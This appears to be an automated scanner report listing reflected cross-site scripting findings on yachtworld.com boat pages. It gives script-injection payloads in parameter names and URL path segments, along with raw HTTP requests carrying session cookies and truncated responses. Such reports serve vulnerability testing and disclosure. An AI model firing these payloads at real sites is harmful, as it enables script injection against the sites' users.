HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:59 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 14 Jan 2011 16:46:52 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2267348%5B%25%5D32%27+Regulator+32FS+with+Trailer%5B%25%5DUSD%26nbsp%3B139%2C900%5B%25%5DQuincy%2C+MA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F7%2F3%2F2267348_1_mini.jpg%3F1285440379000%5B%25%5D%2Fboats%2F2006%2FRegulator-32FS-with-Trailer-2267348%2FQuincy%2FMA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:59 GMT Set-Cookie: VIEWED_BOATS_STORE=2267348%5B%25%5D32%27+Regulator+32FS+with+Trailer%5B%25%5DUSD%26nbsp%3B139%2C900%5B%25%5DQuincy%2C+MA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F7%2F3%2F2267348_1_mini.jpg%3F1285440379000%5B%25%5D%2Fboats%2F2006%2FRegulator-32FS-with-Trailer-2267348%2FQuincy%2FMA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.149. http://www.yachtworld.com/boats/2006/Regulator-32fs-With-Trailer-2267348/Quincy/MA/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b533e"><script>alert(1)</script>c6cc94712fa was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2006/Regulator-32fs-With-Trailer-2267348/Quincy/MA/United-States?b533e"><script>alert(1)</script>c6cc94712fa=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:02:54 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 14 Jan 2011 16:46:52 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2267348%5B%25%5D32%27+Regulator+32FS+with+Trailer%5B%25%5DUSD%26nbsp%3B139%2C900%5B%25%5DQuincy%2C+MA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F7%2F3%2F2267348_1_mini.jpg%3F1285440379000%5B%25%5D%2Fboats%2F2006%2FRegulator-32FS-with-Trailer-2267348%2FQuincy%2FMA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:02:54 GMT Set-Cookie: VIEWED_BOATS_STORE=2267348%5B%25%5D32%27+Regulator+32FS+with+Trailer%5B%25%5DUSD%26nbsp%3B139%2C900%5B%25%5DQuincy%2C+MA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F7%2F3%2F2267348_1_mini.jpg%3F1285440379000%5B%25%5D%2Fboats%2F2006%2FRegulator-32FS-with-Trailer-2267348%2FQuincy%2FMA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca626"><script>alert(1)</script>812d62bbd70 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ce29"><script>alert(1)</script>37b663f625a was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dab14"><script>alert(1)</script>f70b07ba505 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
3.153. http://www.yachtworld.com/boats/2007/Regulator-32-Cc-4-Stroke-250-Yamahas-2194614/Ocean-City/MD/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 839fa"><script>alert(1)</script>ca2cebf3c7b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ffece"><script>alert(1)</script>0b7ee9c65c0 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2007/Regulator-Center-Console-2030806/VAffece"><script>alert(1)</script>0b7ee9c65c0/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:49 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 07 Sep 2010 20:17:05 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2030806%5B%25%5D32%27+Regulator+Center+console%5B%25%5DUSD%26nbsp%3B159%2C500%5B%25%5DVA%2C+United+States%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F0%2F3%2F0%2F8%2F2030806_9_mini.jpg%3F1281995171000%5B%25%5D%2Fboats%2F2007%2FRegulator-Center-console-2030806%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:49 GMT Set-Cookie: VIEWED_BOATS_STORE=2030806%5B%25%5D32%27+Regulator+Center+console%5B%25%5DUSD%26nbsp%3B159%2C500%5B%25%5DVA%2C+United+States%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F0%2F3%2F0%2F8%2F2030806_9_mini.jpg%3F1281995171000%5B%25%5D%2Fboats%2F2007%2FRegulator-Center-console-2030806%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8f87"><script>alert(1)</script>8d9b62f2e71 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2007/Regulator-Center-Console-2030806/VA/United-Statesd8f87"><script>alert(1)</script>8d9b62f2e71 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 